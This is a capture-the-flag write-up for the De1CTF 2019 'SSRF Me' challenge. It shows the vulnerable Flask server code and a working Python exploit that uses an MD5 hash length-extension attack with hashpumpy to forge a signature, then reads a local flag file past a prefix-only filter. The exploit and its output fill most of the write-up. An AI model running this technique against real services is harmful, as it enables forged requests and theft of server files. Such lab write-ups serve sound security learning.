De1CTF 2019
Writeup of a challenge in De1CTF 2019
SSRF Me
Given the following server code:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
First, what does this actually do? We see that there are two endpoints available:
/geneSign
takesparam
, then returns this hashed with the action "send" and a secret key./De1ta
takesparam
,action
andsign
(from the endpoint above). The server first checks thatsign
is a valid signature forparam
andaction
. Once verified, based on theaction
provided, the server will load the resource atparam
(if "sign" is present in action) and return the contents of this loaded resource (if "read" is present in action)
Of course, action
is fixed to be "scan" because /geneSign
will only give us a signature with action = "scan". How can we get action
to contain both "scan" and "read" then?
The answer is a hash extension attack (explained here). We can generate a signature, then use a tool like hashpumpy
to calculate a new hash as if "read" was appended to the hashed string.
With this in mind, we can use the server to make and return the contents of an arbitrary resource. The question now is: where is the flag? After asking the organisers, it turns out that the flag is in ./flag.txt
.
The most obvious way to retrieve ./flag.txt
is to use the file://
URL scheme. However, this pesky function on the server prevents us from doing that:
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
This is the function that loads the resource:
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
After a bit of experimentation, it turns out that
urllib.urlopen("flag.txt")
will load flag.txt
from the local file system.
The exploit thus looks like this:
import requests
import hashpumpy
TARGET_HOST = "http://139.180.128.86"
#TARGET_HOST = "http://127.0.0.1:5000"
VISIT_URL = "flag.txt"
# param is the url to visit
# action is what to do, should contain "scan" and "read"
def get_scanread_token(url):
r = requests.get(TARGET_HOST + "/geneSign", params={"param": urllib.quote(url)})
# md5(secret + url + "scan")
scan_token = r.text
print("Retrieved token for {}scan: {}".format(url, scan_token))
# use a hash extension attack to append "read" to scan_token
# 16 (length of secret) is known from the source code provided
scanread_token, modified_data = hashpumpy.hashpump(scan_token, url+"scan", "read", 16)
print("Token for {}: {}".format(modified_data, scanread_token))
# modified_data is now url + "scan" + junk + "read"
# strip the url from this to get the action
action = modified_data[len(url):]
return scanread_token, action
scanread_token, action = get_scanread_token(VISIT_URL)
r = requests.get(TARGET_HOST + "/De1ta", cookies={
"action": urllib.quote(action),
"sign": scanread_token
}, params={
"param": VISIT_URL
})
print(r.text)
which when ran, results in the following:
justin@kali:~/de1ctf$ python ssrf_attack.py
Retrieved token for flag.txtscan: 8370bdba94bd5aaf7427b84b3f52d7cb
Token for flag.txtscanread: d7163f39ab78a698b3514fd465e4018a
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}